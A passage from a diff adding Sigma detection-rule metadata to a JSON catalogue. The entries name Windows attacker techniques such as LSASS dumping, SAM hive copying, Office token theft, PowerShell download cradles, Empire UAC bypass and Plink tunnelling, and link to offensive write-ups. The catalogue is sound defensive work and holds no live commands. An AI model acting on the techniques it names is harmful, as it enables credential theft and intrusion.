"c6c56ada-612b-42d1-9a29-adad3c5c2c1e", + "value": "Suspicious NT Resource Kit Auditpol Usage", + "meta": { + "refs": [ + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Windows%202000%20Resource%20Kit%20Tools/AuditPol", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2021/12/18", + "filename": "proc_creation_win_susp_nt_resource_kit_auditpol_usage.yml", + "author": "Nasreddine Bencherchali @nas_bench", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects defence evasion attempt via odbcconf.exe execution to load DLL", + "uuid": "65d2be45-8600-4042-b4c0-577a1ff8a60e", + "value": "Application Whitelisting Bypass via DLL Loaded by odbcconf.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", + "https://twitter.com/Hexacorn/status/1187143326673330176", + "https://redcanary.com/blog/raspberry-robin/", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-94a1964b682707e4e3f77dd61a3bfface5401d08d8cf81145f388e09614aceca", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_odbcconf.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.008" + ], + "creation_date": "2019/10/25", + "filename": "proc_creation_win_susp_odbcconf.yml", + "author": "Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate use of odbcconf.exe by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible search for office tokens via CLI by looking for the string \"eyJ0eX\". This string is used as an anchor to look for the start of the JWT token used by office and similar apps.", + "uuid": "6d3a3952-6530-44a3-8554-cf17c116c615", + "value": "Suspicious Office Token Search Via CLI", + "meta": { + "refs": [ + "https://mrd0x.com/stealing-tokens-from-office-applications/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_office_token_search.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ], + "creation_date": "2022/10/25", + "filename": "proc_creation_win_susp_office_token_search.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate command-lines containing the string mentioned in the command-line" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "The OpenWith.exe executes other binary", + "uuid": "cec8e918-30f7-4e2d-9bfa-a59cc97ae60f", + "value": "OpenWith.exe Executes Specified Binary", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Openwith.yml", + "https://twitter.com/harr0ey/status/991670870384021504", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_openwith.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2019/10/12", + "filename": "proc_creation_win_susp_openwith.yml", + "author": "Beyu Denis, oscd.community (rule), @harr0ey (idea)", + "level": "high", + "falsepositive": [ + "Legitimate use of OpenWith.exe by legitimate user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects EnableUnsafeClientMailRules used for Script Execution from Outlook", + "uuid": "e212d415-0e93-435f-9e1a-f29005bb4723", + "value": "Suspicious Execution from Outlook", + "meta": { + "refs": [ + "https://github.com/sensepost/ruler", + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059", + "attack.t1202" + ], + "creation_date": "2018/12/27", + "filename": "proc_creation_win_susp_outlook.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious program execution in Outlook temp folder", + "uuid": "a018fdc3-46a3-44e5-9afb-2cd4af1d4b39", + "value": "Execution in Outlook Temp Folder", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_outlook_temp.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001" + ], + "creation_date": "2019/10/01", + "filename": "proc_creation_win_susp_outlook_temp.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious parent processes that should not have any children or should only have a single possible child program", + "uuid": "cbec226f-63d9-4eca-9f52-dfb6652f24df", + "value": "Suspicious Process Parents", + "meta": { + "refs": [ + "https://twitter.com/x86matthew/status/1505476263464607744?s=12", + "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parents.yml" + ], + "tags": "No established tags", + "creation_date": "2022/03/21", + "filename": "proc_creation_win_susp_parents.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the Console Window Host (conhost.exe) process is spawned by a suspicious parent process, which could be indicative of code injection.", + "uuid": "cbb9e3d1-2386-4e59-912e-62f1484f7a89", + "value": "Conhost Spawned By Suspicious Parent Process", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/conhost-spawned-by-suspicious-parent-process.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_parent_of_conhost.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/09/28", + "filename": "proc_creation_win_susp_parent_of_conhost.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff", + "uuid": "fca949cc-79ca-446e-8064-01aa7e52ece5", + "value": "PCHunter Usage", + "meta": { + "refs": [ + "http://www.xuetr.com/", + "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", + "https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pchunter.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/10", + "filename": "proc_creation_win_susp_pchunter.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.", + "uuid": "9386d78a-7207-4048-9c9f-a93a7c2d1c05", + "value": "Code Execution via Pcwutl.dll", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Libraries/Pcwutl/", + "https://twitter.com/harr0ey/status/989617817849876488", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pcwutl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_susp_pcwutl.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Use of Program Compatibility Troubleshooter Helper" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", + "uuid": "59e938ff-0d6d-4dc3-b13f-36cc28734d4e", + "value": "Execute Code with Pester.bat", + "meta": { + "refs": [ + "https://twitter.com/Oddvarmoe/status/993383596244258816", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_win_susp_pester.yml", + "author": "Julia Fomina, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate use of Pester for writing tests for Powershell scripts and modules" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)", + "uuid": "18988e1b-9087-4f8a-82fe-0414dce49878", + "value": "Execute Code with Pester.bat as Parent", + "meta": { + "refs": [ + "https://twitter.com/Oddvarmoe/status/993383596244258816", + "https://twitter.com/_st0pp3r_/status/1560072680887525378", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pester_parent.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1216" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_susp_pester_parent.yml", + "author": "frack113, Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate use of Pester for writing tests for Powershell scripts and modules" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a method often used by ransomware. Which combines the \"ping\" to wait a couple of seconds and then \"del\" to delete the file in question. Its used to hide the file responsible for the initial infection for example", + "uuid": "54786ddc-5b8a-11ed-9b6a-0242ac120002", + "value": "Suspicious Ping And Del Combination", + "meta": { + "refs": [ + "https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_del.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2022/11/03", + "filename": "proc_creation_win_susp_ping_del.yml", + "author": "Ilya Krestinichev", + "level": "high", + "falsepositive": [ + "False positive could occur in admin scripts that execute inline" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a ping command that uses a hex encoded IP address", + "uuid": "1a0d4aba-7668-4365-9ce4-6d79ab088dfd", + "value": "Ping Hex IP", + "meta": { + "refs": [ + "https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna", + "https://twitter.com/vysecurity/status/977198418354491392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ping_hex_ip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1140", + "attack.t1027" + ], + "creation_date": "2018/03/23", + "filename": "proc_creation_win_susp_ping_hex_ip.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely, because no sane admin pings IP addresses in a hexadecimal form" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Plink tunnel port forwarding to a local port", + "uuid": "48a61b29-389f-4032-b317-b30de6b95314", + "value": "Suspicious Plink Port Forwarding", + "meta": { + "refs": [ + "https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/", + "https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_port_forward.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001" + ], + "creation_date": "2021/01/19", + "filename": "proc_creation_win_susp_plink_port_forward.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity using a remote port forwarding to a local port" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execution of plink to perform data exfiltration and tunneling", + "uuid": "f38ce0b9-5e97-4b47-a211-7dc8d8b871da", + "value": "Suspicious Plink Usage RDP Tunneling", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_plink_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ], + "creation_date": "2022/08/04", + "filename": "proc_creation_win_susp_plink_usage.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains", + "uuid": "b9d9cc83-380b-4ba3-8d8f-60c0e7e2930c", + "value": "Suspicious PowerShell Encoded Command Patterns", + "meta": { + "refs": [ + "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_cmd_patterns.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/05/24", + "filename": "proc_creation_win_susp_powershell_cmd_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other tools that work with encoded scripts in the command line instead of script files" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious ways to download files or content using PowerShell", + "uuid": "6e897651-f157-4d8f-aaeb-df8151488385", + "value": "PowerShell Web Download", + "meta": { + "refs": [ + "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_cradles.yml" + ], + "tags": "No established tags", + "creation_date": "2022/03/24", + "filename": "proc_creation_win_susp_powershell_download_cradles.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Scripts or tools that download files" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious ways to download files or content and execute them using PowerShell", + "uuid": "85b0b087-eddf-4a2b-b033-d771fa2b9775", + "value": "PowerShell Web Download and Execution", + "meta": { + "refs": [ + "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_iex.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/03/24", + "filename": "proc_creation_win_susp_powershell_download_iex.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Scripts or tools that download files and execute them" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell command line parameters used in Empire", + "uuid": "79f4ede3-402e-41c8-bc3e-ebbf5f162581", + "value": "Empire PowerShell Launch Parameters", + "meta": { + "refs": [ + "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_launch.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/04/20", + "filename": "proc_creation_win_susp_powershell_empire_launch.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other tools that incidentally use the same command line parameters" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects some Empire PowerShell UAC bypass methods", + "uuid": "3268b746-88d8-4cd3-bffc-30077d02c787", + "value": "Empire PowerShell UAC Bypass", + "meta": { + "refs": [ + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_empire_uac_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ], + "creation_date": "2019/08/30", + "filename": "proc_creation_win_susp_powershell_empire_uac_bypass.yml", + "author": "Ecco", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Commandline to launch powershell with a base64 payload", + "uuid": "fb843269-508c-4b76-8b8d-88679db22ce7", + "value": "Suspicious Execution of Powershell with Base64", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets", + "https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", + "https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encode.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/01/02", + "filename": "proc_creation_win_susp_powershell_encode.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious encoded character syntax often used for defense evasion", + "uuid": "e312efd0-35a1-407f-8439-b8d434b438a6", + "value": "PowerShell Encoded Character Syntax", + "meta": { + "refs": [ + "https://twitter.com/0gtweet/status/1281103918693482496", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encoded_param.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.defense_evasion", + "attack.t1027" + ], + "creation_date": "2020/07/09", + "filename": "proc_creation_win_susp_powershell_encoded_param.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)", + "uuid": "ca2092a1-c273-4878-9b4b-0d60115bf5ea", + "value": "Suspicious Encoded PowerShell Command Line", + "meta": { + "refs": [ + "https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_enc_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2018/09/03", + "filename": "proc_creation_win_susp_powershell_enc_cmd.yml", + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", + "uuid": "b2815d0d-7481-4bf0-9b6c-a4c48a94b349", + "value": "PowerShell Get-Process LSASS", + "meta": { + "refs": [ + "https://twitter.com/PythonResponder/status/1385064506049630211", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_getprocess_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ], + "creation_date": "2021/04/23", + "filename": "proc_creation_win_susp_powershell_getprocess_lsass.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects base64 encoded strings used in hidden malicious PowerShell command lines", + "uuid": "f26c6093-6f14-4b12-800f-0fcb46f5ffd0", + "value": "Malicious Base64 Encoded PowerShell Keywords in Command Lines", + "meta": { + "refs": [ + "http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_hidden_b64_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_powershell_hidden_b64_cmd.yml", + "author": "John Lambert (rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious ways to run Invoke-Execution using IEX acronym", + "uuid": "09576804-7a05-458e-a817-eb718ca91f54", + "value": "Suspicious PowerShell IEX Execution Patterns", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_iex_patterns.yml" + ], + "tags": "No established tags", + "creation_date": "2022/03/24", + "filename": "proc_creation_win_susp_powershell_iex_patterns.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate scripts that use IEX" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell invocations from interpreters or unusual programs", + "uuid": "95eadcb2-92e4-4ed1-9031-92547773a6db", + "value": "Suspicious PowerShell Invocation Based on Parent Process", + "meta": { + "refs": [ + "https://www.carbonblack.com/2017/03/15/attackers-leverage-excel-powershell-dns-latest-non-malware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_parent_combo.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_susp_powershell_parent_combo.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Microsoft Operations Manager (MOM)", + "Other scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious parents of powershell.exe", + "uuid": "754ed792-634f-40ae-b3bc-e0448d33f695", + "value": "Suspicious PowerShell Parent Process", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=26", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_parent_process.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/03/20", + "filename": "proc_creation_win_susp_powershell_parent_process.yml", + "author": "Teymur Kheirkhabarov, Harish Segar (rule)", + "level": "high", + "falsepositive": [ + "Other scripts" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell scripts accessing SAM hives", + "uuid": "1af57a4b-460a-4738-9034-db68b880c665", + "value": "PowerShell SAM Copy", + "meta": { + "refs": [ + "https://twitter.com/splinter_code/status/1420546784250769408", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sam_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002" + ], + "creation_date": "2021/07/29", + "filename": "proc_creation_win_susp_powershell_sam_access.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Some rare backup scenarios", + "PowerShell scripts fixing HiveNightmare / SeriousSAM ACLs" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious sub processes spawned by PowerShell", + "uuid": "e4b6d2a7-d8a4-4f19-acbd-943c16d90647", + "value": "Suspicious PowerShell Sub Processes", + "meta": { + "refs": [ + "https://twitter.com/ankit_anubhav/status/1518835408502620162", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_sub_processes.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/26", + "filename": "proc_creation_win_susp_powershell_sub_processes.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques", + "uuid": "c86133ad-4725-4bd0-8170-210788e0a7ba", + "value": "Net WebClient Casing Anomalies", + "meta": { + "refs": [ + "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_webclient_casing.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2022/05/24", + "filename": "proc_creation_win_susp_powershell_webclient_casing.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a certain command line flag combination used by Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary", + "uuid": "a20391f8-76fb-437b-abc0-dba2df1952c6", + "value": "NodejsTools PressAnyKey Lolbin", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1463526834918854661", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_pressynkey_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2022/01/11", + "filename": "proc_creation_win_susp_pressynkey_lolbin.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other tools with the same command line flag combination", + "Legitimate uses as part of Visual Studio development" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Attackers can use print.exe for remote file copy", + "uuid": "bafac3d6-7de9-4dd9-8874-4a1194b493ed", + "value": "Abusing Print Executable", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Print/", + "https://twitter.com/Oddvarmoe/status/985518877076541440", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_print.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/05", + "filename": "proc_creation_win_susp_print.yml", + "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we're also able to catch cases in which the attacker has renamed the procdump executable.", + "uuid": "5afee48e-67dd-4e03-a783-f74259dcf998", + "value": "Suspicious Use of Procdump on LSASS", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_procdump_lsass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.credential_access", + "attack.t1003.001", + "car.2013-05-009" + ], + "creation_date": "2018/10/30", + "filename": "proc_creation_win_susp_procdump_lsass.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely, because no one should dump an lsass process memory", + "Another tool that uses the command line switches of Procdump" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious use of Process Hacker, a tool to view and manipulate processes, kernel options and other low level stuff", + "uuid": "811e0002-b13b-4a15-9d00-a613fce66e42", + "value": "Process Hacker Usage", + "meta": { + "refs": [ + "https://processhacker.sourceforge.io/", + "https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_process_hacker.yml" + ], + "tags": "No established tags", + "creation_date": "2022/10/10", + "filename": "proc_creation_win_susp_process_hacker.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Sometimes used by developers or system administrators for debugging purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools", + "uuid": "efdd8dd5-cee8-4e59-9390-7d4d5e4dd6f6", + "value": "Suspicious Program Names", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_progname.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/11", + "filename": "proc_creation_win_susp_progname.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate tools that accidentally match on the searched patterns" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects user accept agreement execution in psexec commandline", + "uuid": "730fc21b-eaff-474b-ad23-90fd265d4988", + "value": "Psexec Accepteula Condition", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + 